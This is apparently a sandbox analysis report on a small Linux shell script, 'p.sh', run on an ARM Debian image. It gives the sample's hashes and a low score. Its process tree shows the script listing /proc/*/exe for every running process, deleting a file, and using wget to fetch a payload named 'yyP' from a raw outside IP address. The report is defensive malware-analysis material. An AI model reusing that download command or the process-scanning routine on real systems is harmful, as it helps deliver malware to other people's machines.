5a16f5533f8486c2c75b8f1d087d95f741f88868882b1099539f4a9d7d7e7da5

Analysis

max time kernel
147s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29/06/2026, 20:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 835B
Sample260629-ysyycsft5q
SHA256 5a16f5533f8486c2c75b8f1d087d95f741f88868882b1099539f4a9d7d7e7da5
MD5 76fc400558a27278b459ce477ff9f162
SHA1 83267e9d6e149a1e3b736cb6c5687074d94f2a4c
SHA512 9ccf79b7b0c3cead3768776787e0b6225cfd362299bba6ebe5783d058f1f0b2265d52140a7c3a7b686b0b10fa59c34663b0073d00576d634af8527a6850aca1c
TLSH
T1B501AFC68600BD50405D9A5E7A975690B411D3CE495E0BA8BF9C5E2DFB98804B126F98
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/p.sh
/tmp/p.sh
1⤵
PID:642
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:643
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:654
- /bin/ls
  ls -l /proc/106/exe
  2⤵
  - Reads runtime system information
  PID:659
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:670
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:672
- /bin/ls
  ls -l /proc/138/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:677
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:678
- /bin/ls
  ls -l /proc/149/exe
  2⤵
  - Reads runtime system information
  PID:679
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/156/exe
  2⤵
  - Reads runtime system information
  PID:682
- /bin/ls
  ls -l /proc/158/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:688
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:690
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/216/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/279/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/282/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/297/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/300/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/320/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/326/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/564/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/577/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/579/exe
  2⤵
  PID:719
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/584/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/630/exe
  2⤵
  - Reads runtime system information
  PID:728
- /bin/ls
  ls -l /proc/632/exe
  2⤵
  - Reads runtime system information
  PID:730
- /bin/ls
  ls -l /proc/635/exe
  2⤵
  - Reads runtime system information
  PID:732
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/640/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/641/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/97/exe
  2⤵
  - Reads runtime system information
  PID:755
- /bin/rm
  rm -rf yyP
  2⤵
  PID:757
- /usr/bin/wget
  wget http://129.121.114.124/yyP
  2⤵
  PID:759

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads